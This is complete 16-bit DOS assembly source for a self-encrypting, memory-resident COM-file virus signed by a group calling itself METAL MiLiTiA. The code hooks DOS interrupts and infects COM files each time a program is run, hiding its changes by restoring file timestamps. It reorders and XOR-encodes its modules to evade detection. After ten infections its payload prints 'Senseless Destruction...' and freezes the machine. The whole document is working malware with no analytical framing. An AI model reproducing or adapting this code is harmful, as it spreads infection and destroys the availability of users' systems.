code       segment
       assume cs:code,ds:code
       .radix 16
       org  100
start:
       push word ptr cs:[tabb+2]
       push cs
       pop  ds
              jmp  loopshit
otto:
              jmp  start
loopshit:
              jmp  word ptr cs:[tabb]
 
curofs       dw   ?
files       db   0         ;number of infected files from this copy
fsize       dw   2         ;size of infected file
ftime       dw     ?
fdate       dw     ?
stdint21      dd     ?
oldint13      dd     ?
oldint21      dd     ?
oldint24      dd     ?
 
;------------- TABLE WITH MODULE PARAMETERS --------------------
tabb :
       dw   offset false_mod_1 ;00
       dw   offset mod_2       ;02
       dw   offset mod_3       ;04
       dw   offset mod_4       ;06        ;offset modules
       dw   offset mod_5       ;08
       dw   offset mod_6       ;0a
       dw   offset mod_7       ;0c
       dw   offset mod_8       ;0e
 
       dw   offset mod_2 - offset mod_1;10
       dw   offset mod_3 - offset mod_2;12
       dw   offset mod_4 - offset mod_3;14
       dw   offset mod_5 - offset mod_4;16
       dw   offset mod_6 - offset mod_5;18 ;size modules
       dw   offset mod_7 - offset mod_6;1a
       dw   offset mod_8 - offset mod_7;1c
       dw   offset myend - offset mod_8;1e
 
 
;------------- MODULE - 1 - CODER/DECODER ----------------------
mod_1:
       mov  bx,offset tabb+2   ;first module to working (module 2)
       mov  cx,6         ;number of modules to working
mod_1_lp1:
       cmp  bx,offset tabb+0a
       jne  mod_1_cont
       add  bx,2
mod_1_cont:
       push bx
       push cx
       mov  ax,[bx]        ;ax - offset module
       mov  cx,[bx+10]        ;cx - size of module
       mov  bx,ax
mod_1_lp2:
       xor  byte ptr [bx],al
       inc  bx
       loop mod_1_lp2
       pop  cx
       pop  bx
       add  bx,2
       loop mod_1_lp1
       ret
 
;------------- MODULE - 2 - MUTATION TO MEMORY -----------------
mod_2:
       ;instalation check
 
       mov    es,cs:[2]       ;memory size
       mov    di,100
       mov    si,100
       mov    cx,0bh
       repe   cmpsb
       jne    mod_2_install      ;jump if not install
       jmp    word ptr cs:[tabb+06]  ;if install, jump to module 4
 
mod_2_install:
       ;instalation
 
       mov    ax,cs
       dec    ax
       mov    ds,ax
 
       cmp    byte ptr ds:[0],'Z'
       je     mod_2_cont
 
       jmp    word ptr cs:[tabb+6]     ;if no last MCB - go to mod4
 
mod_2_cont:
       sub    word ptr ds:[3],0c0
       mov    ax,es
       sub    ax,0c0
       mov    es,ax
       mov    word ptr ds:[12],ax       ;decrement memory size with 2K
       push   cs
       pop    ds
 
mod_2_mut:
       mov  byte ptr cs:files,0
 
       mov  di,100
       mov  cx,offset mod_1-100
       mov  si,100
       rep  movsb     ;write table to new memory
 
       mov  bx,word ptr cs:[tabb]
       add  bx,offset mod_1_lp2-offset mod_1+1
       xor  byte ptr [bx],18      ;change code method
 
       mov  cx,8
       mov  word ptr curofs,offset mod_1
mod_2_lp1:
       push cx
       call mod_2_rnd ;generate random module addres
       push bx      ;addres in table returned from mod_2_rnd
       mov  ax,[bx]   ;offset module
       push ax
       add  bx,10
       mov  cx,[bx]   ;length of module
       pop  si
       pop  bx
       xchg di,curofs
       mov  word ptr es:[bx],di ;change module offset in table
       rep  movsb        ;copy module to new memory
       xchg di,curofs        ;change current offset in new memory
       mov  ax,8000
       or   word ptr [bx],ax    ;mark module - used
       pop  cx
       loop mod_2_lp1
       mov  cl,8
       not  ax
       mov  bx,offset tabb
mod_2_lp2:
       and  word ptr [bx],ax    ;unmark all modules
       add  bx,2
       loop mod_2_lp2
 
       jmp  word ptr cs:[tabb+4]  ;go to module 3
 
mod_2_rnd:
       push cx
       push es
       xor  cx,cx
       mov  es,cx
mod_2_lp3:
       mov  bx,es:[46c]
       db 81,0e3,07,00  ;and bx,7
       shl  bx,1
       add  bx,offset tabb
       test [bx],8000
       jnz  mod_2_lp3
       pop  es
       pop  cx
       ret
 
;------------- MODULE - 3 - SET INTERRUPT VECTORS ---------------
mod_3:
       xor    ax,ax
       mov    ds,ax
 
       mov    ax,ds:[4*21]
       mov    word ptr es:[oldint21],ax
       mov    ax,ds:[4*21+2]
       mov    word ptr es:[oldint21+2],ax
 
       mov    ah,30
       int    21
       cmp    ax,1e03
       jne    mod_3_getvec
 
       mov    word ptr es:[stdint21],1460
       mov    ax,1203
       push   ds
       int    2f
       mov    word ptr es:[stdint21+2],ds
       pop    ds
       jmp    mod_3_setvec
 
mod_3_getvec:
       mov    ax,ds:[4*21]
       mov    word ptr es:[stdint21],ax
       mov    ax,ds:[4*21+2]
       mov    word ptr es:[stdint21+2],ax
 
mod_3_setvec:
       cli
       mov    ax,word ptr es:[tabb+0c]
       mov    ds:[4*21],ax
       mov    ax,es
       mov    ds:[4*21+2],ax
       sti
 
       mov    cx,es
       mov    ah,13    ;
       int    2f     ;
       push   es     ;
       mov    es,cx    ;
       mov    word ptr es:[oldint13],dx  ; get standart int13 addres
       mov    word ptr es:[oldint13+2],ds ;
       pop    es     ;
       int    2f     ;
 
       jmp    word ptr cs:[tabb+06]        ;go to module 4
 
;------------- MODULE - 4 - RESTORE OLD PROGRAM CODE & START ----
mod_4:
       push   cs
       push   cs
       pop    ds
       pop    es
       mov    si,word ptr cs:[tabb+06]
       add    si,offset mod_4_cont - offset mod_4
       mov    di,cs:fsize
       add    di,offset myend+1
       push   di
       mov    cx,offset mod_5 - offset mod_4_cont
       cld
       rep    movsb
       ret
mod_4_cont:
       mov    si,cs:fsize
       add    si,100
 
       cmp    si,offset myend+1
       jnc    mod_4_cnt
       mov    si,offset myend+1
mod_4_cnt:
       mov    di,100
       mov    cx,offset myend-100
       rep    movsb
       mov    ax,100   ;
       push   ax       ; jmp 100
       ret       ;
 
;------------- MODULE - 5 - SPECIAL PROGRAM ---------------------
mod_5:
       mov    ah,9
       mov    dx,word ptr [tabb+8]
       add    dx,offset msg-offset mod_5
       push   cs
       pop    ds
       int    21
       cli
       hlt
 
msg           db     0dh,0a,'Senseless Destruction...',7,7,'$'
 
;------------- MODULE - 6 - INT 24 HEADER -----------------------
mod_6:
       mov    al,3
       iret
              db     'Protecting what we are ',0
              db     'joining together to take on the world.. ',0
              db     'METAL MiLiTiA [iMM0RTAL Ri0T] ',0
 
 
 
 
;------------- MODULE - 7 - INT 21 HEADER -----------------------
mod_7:
       push   bx
       push   si
       push   di
       push   es
       push   ax
 
       cmp    ax,4b00
       je     mod_7_begin
              jmp    mod_7_exit
mod_7_begin:
       push   ds
       push   cs           ;
       pop    es           ;
       xor    ax,ax          ;
       mov    ds,ax          ;
       mov    si,4*24          ;
       mov    di,offset oldint24         ;
       movsw           ;   change int24 vector
       movsw           ;
       mov    ax,word ptr cs:[tabb+0a]        ;
       cli           ;
       mov    ds:[4*24],ax         ;
       mov    ax,cs          ;
       mov    ds:[4*24+2],ax         ;
       sti
       pop    ds
 
       mov    ax,3d00          ;
       pushf           ;
       call   cs:oldint21         ;
       jc     mod_7_ex          ; open,infect,close file
       mov    bx,ax          ;
mod_7_infect:					       ;
	      call   word ptr cs:[tabb+0e]	       ;
	      pushf
	      mov    ah,3e			       ;
	      pushf				       ;
	      call   cs:oldint21		       ;
	      popf
	      jc     mod_7_ex
 
	      push   ds 			 ;
	      cli				 ;
	      xor    ax,ax			 ;
	      mov    ds,ax			 ;
	      mov    ax,word ptr cs:[oldint13]	 ;
	      xchg   ax,word ptr ds:[4*13]	 ;
	      mov    word ptr cs:[oldint13],ax	 ; exchange int13 vectors
	      mov    ax,word ptr cs:[oldint13+2] ;
	      xchg   ax,word ptr ds:[4*13+2]	 ;
	      mov    word ptr cs:[oldint13+2],ax ;
	      sti				 ;
	      pop    ds 			 ;
mod_7_ex:
	      push   ds 			       ;
	      xor    ax,ax			       ;
	      mov    ds,ax			       ;
	      mov    ax,word ptr cs:oldint24	       ;
	      mov    ds:[4*24],ax		       ;
	      mov    ax,word ptr cs:oldint24+2	       ; restore int24 vector
	      mov    ds:[4*24+2],ax		       ;
	      pop    ds 			       ;
 
mod_7_exit:
	      pop    ax
	      pop    es
	      pop    di
	      pop    si
	      pop    bx
 
	      jmp    cs:oldint21
 
;------------- MODULE - 8 - INFECTING (bx - file handle) --------
mod_8:
	      push   cx
	      push   dx
	      push   ds
	      push   es
	      push   di
	      push   bp
 
	      push   bx
	      mov    ax,1220
	      int    2f
	      mov    bl,es:[di]
	      xor    bh,bh
	      mov    ax,1216
	      int    2f
	      pop    bx
 
	      mov    ax,word ptr es:[di+11]
	      cmp    ax,0f000
	      jc     mod_8_c
	      jmp    mod_8_exit
 
mod_8_c:
	      mov    word ptr es:[di+2],2		   ;open mode - R/W
 
	      mov    ax,es:[di+11]
	      mov    cs:fsize,ax	       ; save file size
 
	      mov    ax,word ptr es:[di+0dh]   ;
	      mov    word ptr cs:[ftime],ax    ; save file date/time
	      mov    ax,word ptr es:[di+0f]    ;
	      mov    word ptr cs:[fdate],ax    ;
 
	      push   cs 			 ;
	      pop    ds 			 ;
	      mov    dx,offset myend+1		 ;
	      mov    cx,offset myend-100	 ; read first bytes
	      mov    ah,3f			 ;
	      pushf
	      call   cs:oldint21
	      jnc    mod_8_cnt
	      jmp    mod_8_exit
 
mod_8_cnt:
	      mov    bp,ax			 ; ax - bytes read
	      mov    si,dx
	      mov    ax,'MZ'
	      cmp    ax,word ptr ds:[si]
	      jne    mod_8_nxtchk
	      jmp    mod_8_exit
mod_8_nxtchk:
	      xchg   ah,al
	      cmp    ax,ds:[si]
	      jne    mod_8_cnt2
	      jmp    mod_8_exit
 
mod_8_cnt2:
	      push   es
	      push   di
	      push   cs 			 ;
	      pop    es 			 ;
	      mov    si,100			 ;
	      mov    di,dx			 ; check for infected file
	      mov    cx,0bh			 ;
	      repe   cmpsb			 ;
	      pop    di
	      pop    es
	      jne    mod_8_cnt1 		 ;
	      jmp    mod_8_exit
mod_8_cnt1:
	      mov    word ptr es:[di+15],0     ; fp:=0
 
	      push   es
	      push   di
	      mov    si,word ptr cs:[tabb+0e]
	      add    si,offset mod_8_cont - offset mod_8
	      xor    di,di
	      push   cs
	      pop    es
	      mov    cx,offset mod_8_cont_end - offset mod_8_cont
	      cld
	      rep    movsb
	      pop    di
	      pop    es
 
	      mov    si,word ptr cs:[tabb+0e]
	      add    si,offset mod_8_cont_end - offset mod_8
	      push   si
	      xor    si,si
	      push   si
 
	      push   ds 			 ;
	      cli				 ;
	      xor    ax,ax			 ;
	      mov    ds,ax			 ;
	      mov    ax,word ptr cs:[oldint13]	 ;
	      xchg   ax,word ptr ds:[4*13]	 ;
	      mov    word ptr cs:[oldint13],ax	 ;
	      mov    ax,word ptr cs:[oldint13+2] ; exchange int13 vectors
	      xchg   ax,word ptr ds:[4*13+2]	 ;
	      mov    word ptr cs:[oldint13+2],ax ;
	      sti				 ;
	      pop    ds 			 ;
 
	      ret
 
mod_8_cont:
	      push   bx
	      call   word ptr cs:[tabb]	 ; code virus
	      pop    bx
 
	      mov    dx,100			 ;
	      mov    ah,40			 ; write code in begin
	      mov    cx,offset myend-0ff
	      pushf				 ;
	      call   cs:stdint21		 ;
 
	      pushf
	      push   bx
	      call   word ptr cs:[tabb]	 ; decode virus
	      pop    bx
	      popf
	      jnc    mod_8_cont1
	      pop    ax
	      mov    ax,word ptr cs:[tabb+0e]
	      add    ax,offset mod_8_ext - offset mod_8
	      push   ax
	      ret
mod_8_cont1:
	      mov    ax,es:[di+11]		 ; fp:=end of file
	      mov    word ptr es:[di+15],ax	 ;
 
	      mov    dx,offset myend+1
	      mov    cx,bp			 ; bp - files read
	      mov    ah,40			 ;
	      pushf				 ;
	      call   cs:stdint21		 ; write in end of file
 
	      ret
 
mod_8_cont_end:
	      mov    ax,5701	 ;
	      mov    cx,cs:ftime ;
	      mov    dx,cs:fdate ; restore file date/time
	      pushf		 ;
	      call   cs:oldint21 ;
 
	      inc    cs:files
	      cmp    cs:files,0a
	      jne    mod_8_ext
	      call   word ptr cs:[tabb+8]
	      jmp    short mod_8_ext
mod_8_exit:
	      stc
	      jmp    short mod_8_ex
mod_8_ext:
	      clc
mod_8_ex:
	      pop    bp
	      pop    di
	      pop    es
	      pop    ds
	      pop    dx
	      pop    cx
	      ret
 
;---------------------------------------------------------------
 
myend	      db   0
 
	      int    20 	       ;code of infected file
 
false_mod_1:
	      mov     word ptr cs:[tabb],offset mod_1
	      ret
 
code	      ends
	      end  start